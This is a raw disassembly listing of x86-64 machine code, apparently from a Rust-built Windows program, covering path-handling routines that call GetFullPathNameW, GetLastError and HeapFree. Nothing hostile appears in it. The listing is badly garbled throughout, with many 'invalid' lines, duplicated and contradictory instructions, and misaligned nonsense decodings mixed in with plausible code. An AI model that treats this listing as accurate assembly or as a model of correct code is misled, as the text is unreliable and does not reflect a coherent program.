xor al, 0x49
add eax, 3
mov rdx, r8
mov edx, eax
jmp 0x140151b90
add r8, 2
cmp rdx, rax
cmove r8, rdx
cmove eax, edx
cmove eax, edx
xor edx, edx
cmp r8, rax
setne dl
add rdx, r8
cmp r9b, 0xf0
cmp cl, 0xf0
cmp cl, 0xf0
stc
invalid
jb 0x140151b90
xor r8d, r8d
cmp rdx, rax
setne r8b
add rdx, r8
ret 0x96eb
ret 0x96eb
mov byte [rsi + 0x18], 0
mov rax, qword [rsi + 8]
sub rax, rbx
cmp rax, r14
jb 0x140151c30
add rcx, rbx
mov rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add byte [rcx + rax - 0xd], cl
add ebx, esi
mov qword [rsi + 0x10], rbx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
mov rdx, rbx
mov r8, r14
mov eax, esi
mov eax, esi
call fcn.14018d7c0
mov rcx, qword [rsi]
mov rbx, qword [rsi + 0x10]
jmp 0x140151c0a
mov rcx, rsi
mov rdx, rbx
mov r8, r14
call fcn.14018d7c0
mov ebx, 0xbae90003
invalid
invalid
invalid
mov ebx, 0xbae90003
invalid
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call fcn.14018d7c0
mov rbx, qword [rsi + 0x10]
jmp 0x140151b50
invalid
invalid
invalid
invalid
invalid
invalid
int3
int3
int3
retf 0x8d48
and al, 0x40
mov al, 1
and al, byte [rbx + 0x4474003f]
mov eax, dword [rdi + 0x18]
add byte [rax], al
add byte [rbx + 1], bh
add byte [rbp - 0x7c], al
invalid
jle 0x140151dce
test dl, dl
mov eax, dword [rdi + 0x18]
and r8d, dword [r8 + r8*8 - 0x453e6bf1]
adc al, 1
adc al, byte [rax]
ror byte [rdi], cl
test dword [0x185151dbd], edi
mov eax, dword [rdi + 0x18]
invalid
invalid
add byte [rax], al
add byte [rcx + rcx*8 + 0x7f809674], 0x24
test cl, cl
je 0x140151d6b
cmp byte [rdi + 0x24], 0
jne 0x140151d6b
nop
rol byte [rax + 0xf00247f], 0xb6
and rax, 0x31455674
je 0x140151e43
invalid
invalid
rol byte [rax + rax*8 - 0x7b3f6bf1], cl
leave
push rbp
add al, byte [rax]
add byte [rax], al
test byte [rdi + rdi*8 - 1], bl
inc dword [rbx + rcx*4 + 0x47]
sbb byte [rbx + rcx*4 + 0x4f], cl
mov r9, qword [rdi + 8]
mov edx, 0x120114
adc al, byte [rax]
adc al, byte [rax]
invalid
add byte [rax], al
mov r8d, dword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
and r8d, dword [r8 + 0xf00247f]
and al, 0
mov dh, 0x4f
and eax, 0x3145aa75
rol byte [rax + rax*8 - 0x7b3f6af1], cl
leave
xchg dword [rax], eax
add byte [rax], al
add byte [rax], al
push rdi
adc cl, al
shl ecx, 0x15
or edx, dword [rdi + 0x1c]
sbb al, 0x41
or edx, ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x30], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
int1
loopne 0x140151e58
rol byte [rbx], cl
add byte [rax - 0x7d], cl
clc
push qword [rdi + rbp + 0x49]
mov r14, rax
add eax, dword [rax]
fisttp dword [rbp - 0x7b]
push qword [rdx + rdx + 0x48]
mov ecx, dword [0x14023c258]
invalid
add eax, dword [rax]
push 0x5e5f5d5b
shl esi, 0x20
lea eax, [rdx*2 + 3]
add byte [rax], al
add cl, ch
outsb dx, byte [rsi]
invalid
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
mov r9, qword [rdx]
and byte [rax + rax], al
add dh, bh
invalid
mov rax, qword [rdx + 0x10]
cmp rax, 4
mov qword [rbp + 0x418], r9
jb case.0x140126626.783
pop rax
pop rax
movabs r10, 0x5c003f005c005c
cmp qword [r9], r10
cmp dword [rcx], edx
add byte [rdi], bh
add byte [rax + rax + 0x4d], bl
cmp dword [rcx], edx
je 0x140152031
movabs r10, 0x5c003f003f005c
invalid
mov r9, qword [rbp + 0x418]
sbb byte [rax + rax], al
add byte [rbp + 0x39], cl
adc dword [rdi], ecx
test dl, bl
fiadd dword [rax]
add byte [rax], al
invalid
invalid
clc
add byte [rax], al
cmp qword [r9], r10
je 0x140152031
fiadd dword [rax]
add byte [rax], al
fiadd dword [rax]
add byte [rax], al
cmp rax, 0xf8
jae 0x140152041
sbb esi, 0
add byte [rax], al
add byte [rdi], cl
sbb esi, 0
add byte [rax], al
mov rax, qword [rbp + 0x418]
add al, 0
add byte [rsi - 0x7d], ah
invalid
invalid
js 0x140151f70
cmp word [rax + 2], 0x3a
jne 0x140152004
pop qword [rax]
add byte [rax], al
cmp cl, byte [rdi]
test dword [rdi + 0x48000000], ecx
mov eax, dword [rbp + 0x418]
sbb byte [rax + rax], al
invalid
mov rax, qword [rbp + 0x418]
add byte [rdi], cl
mov bh, 0x40
movzx eax, word [rax + 4]
jmp case.0x1400d1872.1633
add al, 0xeb
cmp rax, 3
cmp rax, 3
cmp rax, 3
je 0x140151fae
cmp rax, 2
je 0x140152004
invalid
cmp rax, 1
jne 0x140152041
add byte [rax], al
mov rax, qword [rbp + 0x418]
mov eax, dword [rbp + 0x418]
cmp word [rax], 0
jne 0x140152041
jmp 0x140152031
mov rax, qword [rbp + 0x418]
cmp word [rax + 2], 0x3a
js 0x140151fbb
cmp dh, byte [rbp + 0x48]
sbb byte [rax + rax], al
add byte [rsi - 0x7d], ah
js 0x140151fbb
cmp dh, byte [rbp + 0x48]
mov rax, qword [rbp + 0x418]
mov rax, qword [rbp + 0x418]
movzx eax, word [rax + 4]
test ax, ax
je 0x140151ff0
cmp ax, 0x2f
je case.0x1400d1872.1635
movzx eax, ax
cmp eax, 0x5c
jne 0x140152004
mov rax, qword [rbp + 0x418]
add byte [rax], al
movzx eax, word [rax]
cmp eax, 0x2f
je case.0x140126626.804
cmp eax, 0x5c
je case.0x140126626.804
jmp 0x140152031
mov rax, qword [rbp + 0x418]
movzx eax, word [rax]
mov bh, 0
sbb byte [rax + rax], al
add byte [rdi], cl
mov bh, 0
cmp eax, 0x2f
je 0x140152004
cmp eax, 0x5c
jne 0x140152031
mov rax, qword [rbp + 0x418]
movzx eax, word [rax]
add byte [rdi], cl
mov bh, 0
cmp ax, 0x5c
je 0x14015201c
movzx eax, ax
cmp eax, 0x2f
jne 0x140152041
mov rax, qword [rbp + 0x418]
movzx eax, word [rax + 2]
mov bh, 0x40
add al, byte [rbx + 0x5745cf8]
mov bh, 0x40
add al, byte [rbx + 0x5745cf8]
cmp eax, 0x2f
jne 0x140152041
adc byte [rax - 0x75], cl
adc byte [rax - 0x77], cl
adc byte [r15], cl
adc byte [rdx], al
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdx]
jmp 0x1401525c2
mov byte [rbp + 0x417], r8b
invalid
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x400], rdx
add byte [rax], al
add eax, dword [rax]
add byte [rax - 0x77], cl
xchg ebp, eax
add byte [rax + rax], al
add byte [rax], al
invalid
invalid
test dword [rax + 0x2000003], edi
add byte [rdx], al
add byte [rax], al
mov qword [rbp + 0x3b8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
add eax, dword [rax]
add byte [rcx - 0x43], al
mov ebp, 0x200
add byte [rdx], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test eax, eax
add eax, dword [rax]
add byte [rcx - 0x43], al
mov ebp, 0x200
mov ebp, 0x200
mov eax, 2
mov qword [rbp + 0x3f8], rax
add byte [rax - 0x77], cl
test eax, edi
add eax, dword [rax]
add byte [rcx], dh
xor eax, eax
invalid
invalid
test eax, esi
add eax, dword [rax]
xor eax, eax
mov qword [rbp + 0x3f0], rax
test eax, esi
add eax, dword [rax]
add byte [rbp + 0x31], al
invalid
test eax, esi
add eax, dword [rax]
add byte [rbp + 0x31], al
push qword [rcx]
xor esi, esi
invalid
invalid
std
xor esi, esi
cmp r13, 0x201
cmp ebp, 0x201
std
add dword [rdx], eax
add byte [rax], al
add byte [rdx + 0x1b], dh
jb 0x1401520af
jmp 0x1401520c0
sub ah, byte [rsi + 0x2e]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rdi], cl
jae 0x140152195
sub edi, 0
add byte [rax], al
invalid
add byte [rcx - 0x7f], cl
std
cmp r13, 0x201
add dword [rdx], eax
add byte [rax], al
invalid
add byte [rbx + 0x11], dh
jae 0x1401520c0
adc dword [rcx - 0x44], eax
mov r12d, 0x200
add byte [rdx], al
add byte [rax], al
lea rbx, [rbp - 0x60]
mov r14, r13
jmp 0x140152125
invalid
nop
nop
sub r13, rsi
sub ebp, esi
sub r15, rsi
sub edi, esi
test dword [rbp + 0x39], 0x482e73ef
lea ecx, [rbp + 0x3b8]
invalid
invalid
add eax, dword [rax]
invalid
cmp r15, r13
cmp edi, ebp
jae 0x1401520f9
lea rcx, [rbp + 0x3b8]
lea edi, [rax + 0x48000003]
mov edx, esi
add byte [rax - 0x77], cl
mov r8, r13
mov r8, r13
mov rdx, rsi
mov r8, r13
mov eax, ebp
call fcn.14018b7c0
jrcxz 0x140152071
add eax, dword [rax]
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x3f8], rax
clc
add eax, dword [rax]
invalid
mov eax, 0x48000003
mov dword [rbp + 0x3f8], eax
clc
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
test eax, edi
clc
clc
add eax, dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x3c0]
mov qword [rbp + 0x3f0], rax
lock add eax, dword [rax]
invalid
test eax, eax
rol byte [rbx], 0
add eax, dword [rax]
add byte [rax - 0x77], cl
test eax, esi
invalid
lock add eax, dword [rax]
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x43], cl
mov r15, qword [rbp + 0x3f0]
mov eax, 0xffffffff
invalid
invalid
invalid
lock add eax, dword [rax]
add eax, dword [rax]
add byte [rax - 1], bh
invalid
invalid
dec dword [rcx + 0x39]
invalid
cmp r15, rax
mov esi, 0xffffffff
invalid
invalid
dec dword [rcx + 0xf]
invalid
invalid
invalid
invalid
dec dword [rcx + 0xf]
test dword [rax - 0x77], 0x3c8b5
invalid
invalid
mov ch, 0xc8
add eax, dword [rax]
mov qword [rbp + 0x3c8], rsi
mov dword [rbp + 0x3c8], esi
add eax, dword [rax]
add byte [rcx - 0x77], cl
hlt
mov r12, rsi
mov esp, esi
mov rbx, qword [rbp + 0x3f8]
add eax, dword [rax]
add byte [rcx - 0x77], cl
mov r14, rsi
invalid
add byte [rax], al
mov r14, rsi
xor ecx, ecx
leave
call qword [sym.imp.KERNEL32.dll_SetLastError]
iretd
add eax, dword [rax]
mov rcx, qword [rbp + 0x418]
mov ecx, dword [rbp + 0x418]
mov edx, r14d
mov edx, esi
mov rdi, rbx
mov r8, rbx
mov eax, ebx
fadd dword [rbp + 0x31]
leave
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
sub dl, al
add eax, dword [rax]
rol byte [rbx], 1
add byte [rcx + 0x75c085c3], cl
sal byte [rbp + 0xa], 0xff
mov ebx, eax
test eax, eax
invalid
sal byte [rbp + 0xa], 0xff
jne 0x140152156
call qword [sym.imp.KERNEL32.dll_GetLastError]
adc eax, 0x3cefe
add eax, dword [rax]
add byte [rbp + 0x417375c0], al
test eax, eax
jne case.0x1401207b8.887
mov r13d, ebx
mov ebp, ebx
fisttp qword [rbp + 0x39]
cmp r14, r13
out dx, al
jne 0x1401520a0
invalid
invalid
call qword [sym.imp.KERNEL32.dll_GetLastError]
add eax, dword [rax]
cmp eax, 0x7a
jne 0x1401525d9
invalid
add al, 0
invalid
clc
jp case.0x1401207b8.883
test dword [rax + 4], ebp
add byte [rax], al
invalid
push 0x4d000004
add byte [rbp + 1], cl
idiv byte [rax - 1]
mov eax, 0xffffffff
add r14, r14
add esi, esi
mov eax, 0xffffffff
cmp r14, rax
invalid
cmovae r14, rax
mov r13, r14
cmc
invalid
cmc
cmp r13, 0x201
jae 0x1401520c0
invalid
jmp 0x1401520af
sbb bh, bh
invalid
dec dword [rbp + 0x39]
in al, dx
cmp r12, r13
jb 0x1401525f3
add byte [rax], al
mov r15, qword [rbp + 0x400]
add byte [rax + rax], al
add byte [rcx - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rax], al
cmp byte [rbp + 0x417], 0
mov qword [r15 + 0x10], 0
cmp byte [rbp + 0x417], 0
je 0x1401521f3
cmp ebx, 2
ja 0x1401521ff
add dh, byte [rdi + 0x44]
jne 0x140152357
add byte [rdi], cl
mov bh, recv
movzx ecx, word [rdi]
jmp 0x1401522b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
add cl, byte [rbx + rcx*4 - 0x43]
add byte [rax + rax], al
add byte [rax], al
add cl, byte [rbx + rcx*4 - 0x43]
add byte [rax + rax], al
add byte [rax], al
cmp qword [rbp + 0x3f0], 0
jne 0x140152567
add byte [rax], al
cmp qword [rbp + 0x3f0], 0
jne 0x140152567
jmp 0x14015257d
add byte [rax], al
cmp ebx, 0xf6
jbe 0x1401522fd
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax], al
mov rcx, rdi
movzx eax, word [rdi + 2]
cmp eax, 0x3a
jne 0x14015223f
cmp word [rcx + 4], 0x5c
jne 0x14015223f
invalid
sub eax, 0x4bc41
add byte [rax], al
mov r12d, 4
lea rbx, [0x1401c2de0]
mov qword [rbp + 0x408], rcx
lea r14, [r12 + r13]
inc r14
invalid
invalid
mov rdi, qword [r15 + 8]
cmp rdi, r14
jb case.0x140126626.791
add dword [rax], eax
add cl, ch
add al, byte [r8]
add byte [rdi], cl
mov bh, 9
jmp 0x140152482
movzx ecx, word [rcx]
cmp ebx, 3
jbe 0x1401522b4
lea rbx, [0x1401ea218]
cmp cx, 0x5c
cmp ecx, 0x5c
jg 0x140152256
add byte [rsi - 0x7d], ah
stc
cmp ecx, 0x5c
pop rsp
jne 0x1401523f2
add byte [rax], al
cmp eax, 0x3f
je 0x1401523f2
cmp eax, 0x5c
jne 0x1401522c2
pop rsp
pop rsp
movzx eax, word [rdi + 4]
cmp eax, 0x3f
invalid
je 0x1401523e7
add byte [rax], al
invalid
add byte [rax], al
cmp eax, 0x2e
jne case.0x140126626.807
jne case.0x140126626.807
cmp word [rdi + 6], 0x5c
pop rsp
jne case.0x140126626.807
add r13, 0xfffffffffffffffc
add ebp, 0xfffffffc
invalid
add rdi, 8
mov qword [rbp + 0x408], rdi
add al, 0
invalid
add al, 0
add byte [rcx - 0x44], al
invalid
invalid
mov r12d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea ebx, [0x1401c2de0]
lea rbx, [0x1401c2de0]
lea ebx, [0x1401c2de0]
lea r14, [r12 + r13]
sub al, 0x49
inc esi
inc r14
mov rdi, qword [r15 + 8]
mov edi, dword [rdi + 8]
cmp rdi, r14
cmp edi, esi
jb case.0x140126626.791
jmp 0x140152482
add dword [rax], eax
add byte [rsi - 0x7d], ah
cmp cx, 0x5c
stc
pop rsp
jne 0x140152344
xchg byte [rax], al
add byte [rax], al
movzx eax, word [rdi + 2]
cmp ax, 0x5c
pop rsp
jne 0x140152344
add r13, 0xfffffffffffffffe
invalid
add rdi, 4
mov qword [rbp + 0x408], rdi
mov r12d, 8
lea rbx, [0x1401c2de8]
sbb eax, 0x70b04
add al, 0xb
invalid
or eax, dword [rdi]
add byte [rdi - 0x73], cl
lea r14, [r12 + r13]
xor al, 0x2c
inc r14
mov rdi, qword [r15 + 8]
mov edi, dword [rdi + 8]
cmp rdi, r14
jb case.0x140126626.791
add dword [rax], eax
invalid
add dword [rax], eax
add cl, ch
test dword [rcx], eax
add dword [rax], eax
invalid
jmp 0x140152482
mov r14, qword [r15 + 8]
ja 0x140152309
cmp r14, r13
out dx, al
mov qword [rbp + 0x408], rdi
mov ebp, 0x408
add byte [rax], al
add byte [rdi], cl
xchg dword [rdi + 0x4d000000], esi
lea esp, [rbp + 1]
ja 0x1401523c8
lea r12, [r13 + 1]
lea r8, [r12 + r12]
test r14, r14
test esi, esi
test esi, esi
je 0x140152381
invalid
lea rax, [r14 + r14]
mov rcx, qword [rbp + 0x418]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], rax
jmp 0x14015238c
mov qword [rbp + 0x408], rdi
lea rbx, [0x1401ea218]
jmp 0x1401523f9
lea rbx, [0x1401ea218]
xor r12d, r12d
mov qword [rbp + 0x408], rdi
lea r14, [r12 + r13]
inc r14
mov rdi, qword [r15 + 8]
cmp rdi, r14
jb case.0x140126626.791
jmp 0x140152482
mov qword [rbp + 0x3e0], 0
lea rcx, [rbp + 0x3a0]
lea r9, [rbp + 0x3d8]
mov edx, 2
call fcn.140056370
cmp qword [rbp + 0x3a0], 0
mov rcx, qword [rbp + 0x3a8]
je 0x1401523cf
movabs rax, 0x8000000000000001
cmp rcx, rax
jne case.0x14014f054.126
xor esi, esi
jmp 0x1401524dd
mov qword [r15], rcx
mov qword [r15 + 8], r12
xor esi, esi
mov qword [rbp + 0x418], rcx
add byte [rax], al
add byte [rax], al
mov r14, r12
jmp 0x1401524dd
cmp word [rdi + 6], 0x5c
jne case.0x140126626.807
invalid
dec dword [rax - 0x77]
mov ebp, 0x408
invalid
mov qword [rbp + 0x408], rdi
add byte [rbp + 0x31], al
in al, 0x4f
lea esi, [rsp + rbp]
xor r12d, r12d
lea r14, [r12 + r13]
inc r14
mov rdi, qword [r15 + 8]
jg 0x14015240f
jg 0x14015240f
cmp rdi, r14
jae 0x140152482
lea r8, [r14 + r14]
lea eax, [rsi + rsi]
test rdi, rdi
test rdi, rdi
je 0x14015243b
lea rax, [rdi + rdi]
add al, 0x3f
mov rcx, qword [rbp + 0x418]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x3e0], 2
test eax, esp
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
invalid
test eax, esp
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x3e8], rax
jmp case.0x140126626.798
mov qword [rbp + 0x3e0], 0
lea rcx, [rbp + 0x3a0]
lea r9, [rbp + 0x3d8]
mov qword [rbp + 0x3e8], rax
jmp case.0x140126626.798
mov qword [rbp + 0x3e0], 0
lea rcx, [rbp + 0x3a0]
lea r9, [rbp + 0x3d8]
mov edx, 2
call fcn.140056370
cmp qword [rbp + 0x3a0], 0
add byte [rax], al
add byte [rax], al
mov rcx, qword [rbp + 0x3a8]
je 0x1401524b6
movabs rax, 0x8000000000000001
cmp rcx, rax
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc1
jne case.0x14014e6ee.149
cmp rdi, r12
jae 0x1401524a8
mov rcx, r15
mov ecx, edi
xor edx, edx
mov r8, r12
call fcn.14018b7c0
mov r15, qword [rbp + 0x400]
add al, 0
add byte [rcx - 0x75], cl
ja 0x1401524af
add al, 0
add byte [rcx - 0x75], cl
ja 0x1401524af
mov rcx, qword [r15]
mov r14, qword [r15 + 8]
jmp case.0x14014db1d.162
xor esi, esi
mov r14, rdi
dec byte [rax - 0x75]
lea ebx, [rax]
add al, 0
add bl, ch
invalid
dec byte [rax - 0x75]
lea ebx, [rax]
add al, 0
add bl, ch
or dword [rcx - 0x77], ecx
cmovge ecx, dword [rcx - 0x9cef789]
mov qword [r15], rcx
mov qword [r15 + 8], r14
xor esi, esi
lea r8, [r12 + r12]
mov qword [rbp + 0x418], rcx
add byte [rax], al
add byte [rax], al
lea rcx, [rcx + rsi*2]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
add eax, dword [rax]
add eax, dword [rax]
add rsi, r12
mov qword [r15 + 0x10], rsi
mov dword [rdi + 0x10], esi
mov dword [rdi + 0x10], esi
ja 0x1401524ed
mov rax, r14
sub rax, rsi
cmp rax, r13
cmp eax, ebp
cmp eax, ebp
jae case.0x14014dbec.159
mov rcx, r15
mov rdx, rsi
mov r8, r13
mov r8, r13
mov eax, ebp
call fcn.14018b7c0
mov r15, qword [rbp + 0x400]
mov edi, dword [rbp + 0x400]
mov rsi, qword [r15 + 0x10]
mov rdi, qword [r15]
mov r14, qword [r15 + 8]
mov esi, dword [rdi + 8]
adc byte [rcx - 0x75], cl
invalid
mov esi, dword [rdi + 8]
jmp 0x140152511
mov rdi, qword [rbp + 0x418]
mov edi, dword [rbp + 0x418]
lea r8, [r13*2]
lea eax, [rbp*2]
add al, 0x6d
add byte [rax], al
add byte [rax], al
lea rcx, [rdi + rsi*2]
mov rdx, qword [rbp + 0x408]
add al, 0
add al, ch
mov dl, 0x3f
invalid
add eax, dword [rax]
add al, 0
add al, ch
mov dl, 0x3f
invalid
invalid
add eax, dword [rax]
add rsi, r13
mov qword [r15 + 0x10], rsi
ja 0x140152540
ja 0x140152540
cmp rsi, r14
jne 0x14015254e
invalid
mov rcx, r15
stc
mov rdx, r14
call fcn.14014be80
cdq
invalid
invalid
cdq
invalid
mov r15, qword [rbp + 0x400]
mov ebp, 0x400
mov rdi, qword [r15]
mov rsi, qword [r15 + 0x10]
ja 0x14015255e
ja 0x14015255e
mov word [rdi + rsi*2], 0
inc rsi
mov qword [r15 + 0x10], rsi
ja 0x14015256b
add byte [rax - 1], cl
invalid
ja 0x14015256b
adc byte [rcx], dh
test byte [rax - 0x7d], 0xbd
mov ebp, 0x3f0
invalid
xor esi, esi
cmp qword [rbp + 0x3f0], 0
mov ebp, 0x3f0
invalid
cmp dword [rbp + 0x3f0], 0
mov ebp, 0x3f0
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x14023c258]
or eax, 0xe9cea
je 0x14015257d
invalid
mov rcx, qword [0x14023c258]
or eax, 0xe9cea
pushfq
invalid
xor edx, edx
mov r8, qword [rbp + 0x3f8]
clc
add eax, dword [rax]
invalid
ror byte [rbx + rcx*4 - 0x7b], cl
clc
add eax, dword [rax]
add bh, bh
adc eax, 0x3caab
retf 3
call qword [sym.imp.KERNEL32.dll_HeapFree]
retf 3
add byte [rax - 0x7b], cl
div byte [rbp + rbp + 0x48]
mov eax, dword [rbp + 0x3d0]
rol byte [rbx], 1
add byte [rax], al
test rsi, rsi
je 0x1401525af
mov rax, qword [rbp + 0x3d0]
rol byte [rbx], 1
add byte [rax], al
mov qword [rax + 8], rsi
jo 0x140152595
mov qword [rax], 0
mov dword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
jg 0x1401525a0
add byte [rax], al
cmp qword [r15 + 8], 0
cmp dword [rdi + 8], 0
add byte [rdx + rbp + 0x4d], dh
mov eax, dword [rdi]
je 0x1401525c5
mov r8, qword [r15]
mov rcx, qword [0x14023c258]
or eax, 0xe9cb3
mov bl, 0x9c
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
retf 3
sar bh, cl
adc eax, 0x3ca7b
retf 3
retf 3
jmp 0x1401525c5
invalid
mov rax, qword [r15 + 0x10]
mov rcx, qword [rbp + 0x3d0]
mov qword [rcx + 0x10], rax
adc byte [rcx + 0xf], al
adc byte [rdi], al
movups xmm0, xmmword [r15]
movups xmmword [rcx], xmm0
add rsp, 0x4a8
invalid
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rdi
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
invalid
sysret
invalid
invalid
add byte [rdx + 0x28], bh
mov edx, 0x28
add bl, ch
lea r8, str.library_std_src_syswindowsmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
sysret
mov rcx, r13
mov ecx, ebp
mov rdx, r12
call fcn.140186af0
add r8d, dword [rax]
add r8d, dword [rax]
test rcx, rcx
leave
loopne 0x1401525fb
invalid
xchg ebp, eax
mov al, 3
add byte [rax], al
add dword [rax + 3], eax
test rcx, rcx
loopne 0x140152615
invalid
add eax, dword [rax]
add al, ch
add byte [rax], al
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsp
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
mov rcx, qword [rbp + 0x3b8]
mov rdx, qword [rbp + 0x3c0]
rol byte [rbx], 0
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
rol byte [rbx], 0
add byte [rax + rax], al
add byte [rax], al
cmp edi, ebp
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
invalid
pop rsp
int3
int3
int3
push rsi
add byte [rax], 0
add byte [rax - 0x39], cl
test eax, edx
add byte [rax], al
add dh, bh
invalid
invalid
dec dword [rbp - 0x77]
invalid
jno case.0x140150bd4.94
mov dword [rbp + 0xc0], edx
add byte [rax], al
lodsd eax, dword [rsi]
mov eax, 0x49000000
add byte [rax], al
invalid
invalid
mov ebp, ebx
setne ah
invalid
sar bh, 0xff
movzx ecx, byte [rbp + 0x60]
add byte [rax], 0
add byte [rax - 0x73], cl
lea ecx, [0x1401f051c]
add byte [rax], al
lea ecx, [0x1401f051c]
or dword [rax], eax
add edx, ecx
mov sil, 6
add qword [rbp - 0x7b], rcx
ror byte [rcx + 0xf], cl
retf 0x14c
invalid
add bl, ch
sbb dword [rcx - 0x73], ecx
lea rcx, [r10 + 1]
invalid
invalid
retf 0x14c
add al, byte [rax]
add byte [rax], al
int1
stc
pop rsp
push rbp
invalid
add al, 0x82
push rbp
loopne 0x140152819
mov dword [rbp - 0x18], ebx
push rbx
add al, 0x48
test edx, edx
add byte [rax], al
add bh, bh
jmp rax
invalid
lea ecx, [rbx + 4]
add al, 0x4c
cmp ecx, esi
movabs eax, dword [0x528d4959eb000000]
add dword [rbp - 0x7b], ecx
test r10, r10
cmove rdx, r10
ror byte [rcx + rax - 0x26], cl
ror byte [rcx + rax - 0x26], cl
mov ebp, dword [rbp + 0xb8]
xchg dword [rax], eax
add byte [rax], al
ret 0x4808
jmp 0x1401528c0
mov esi, ecx
add bl, ch
lea rax, [r10 + 1]
lea rax, [r10 + 1]
lea eax, [rdx + 1]
cmove eax, edx
add ecx, 2
add dword [rbp - 0x7b], ecx
ror byte [rcx + 0xf], cl
ret 0x8d49
or byte [rcx + rdi - 0xf], cl
cmp ecx, esi
int1
mov edx, 0x8944c031
invalid
rol byte [rcx + rcx*4 - 0x32], 0x41
cmp cl, 5
invalid
add eax, 0xe4b60f45
mov ecx, edx
mov edx, ebp
outsb dx, byte [rsi]
mov esi, 0xb60fffff
push rbp
test dword [rax + 0x4c000000], eax
add byte [rax], al
fmul qword [rcx]
add byte [rcx + 0x63], cl
invalid
invalid
adc al, 0x90
nop
add edx, eax
add al, 0xeb
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
cmove edx, eax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
add ch, bl
add ecx, 2
add ch, bl
and byte [rcx + 6], bh
add byte [rax], al
add byte [rax], al
add bl, ch
sbb dword [rax - 0x73], ecx
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
add rcx, rdx
add rcx, 8
add ecx, 8
invalid
cmove edx, eax
add ecx, 8
or bl, ch
add eax, 0x2b9
add byte [rax], al
add byte [rcx + rdi - 0x17], cl
jmp 0x147a3b051
mov es, word [rdi]
add byte [rax], al
invalid
mov dword [rbx + 0x10], 0
adc byte [rax], al
add byte [rax], al
mov edx, dword [rbp + 0xc0]
xchg ebp, eax
rol byte [rax], 0
add byte [rbp - 0x77], cl
mov eax, ebp
call 0x140061c45
invalid
call qword [rax + 0x58c48148]
add esp, 0x158
invalid
pop rax
add dword [rax], eax
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsp
pop rsi
inc byte [rbx]
add esi, dword [rbx + 0x6f]
outsd dx, dword [rsi]
mov dword [rbp - 0x60], edi
movabs al, byte [0xb0758840a875894c]
mov byte [rbp - 0x50], dh
jne case.0x140119330.969
mov eax, dword [rbp]
add byte [r8 - 0x75], r9b
mov ecx, dword [rbp + 7]
invalid
mov r9b, 0x48
mov dword [rbp - 0x48], ecx
call 0x1005ab2e5
mov eax, dword [rbp - 0x10]
invalid
invalid
mov dword [rbp - 0x38], eax
enter 0xffffffffffff8b48, 0x45
mov eax, dword [rbp - 0x20]
loopne case.0x140150bd4.115
loopne case.0x140150bd4.115
mov dword [rbp - 0x30], eax
fadd dword [r8]
add al, byte [rax - 0x78]
invalid
add byte [rdx], al
mov byte [rbp - 0x26], bh
jge case.0x14014ef14.153
fimul dword [rax - 0x73]
invalid
ret 0xffff
invalid
inc dword [rax + 0x480a607d]
jge case.0x14014f054.167
mov dword [rbp - 8], ebx
invalid
test dword [rax + 0x8000000], esp
movabs al, byte [0xf00000008000000]
add byte [rax], al
add byte [rax], cl
invalid
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
invalid
adc dword [rbp + 0xa8], eax
test dword [rax - 0x17000000], ebp
add byte [rax], al
add cl, ch
add byte [rax], al
push 0x48000001
add dword [rax], eax
lea ecx, [rbp + 0x60]
mov esi, dword [rbp + 0xc0]
mov ch, 0xc0
add byte [rax], al
invalid
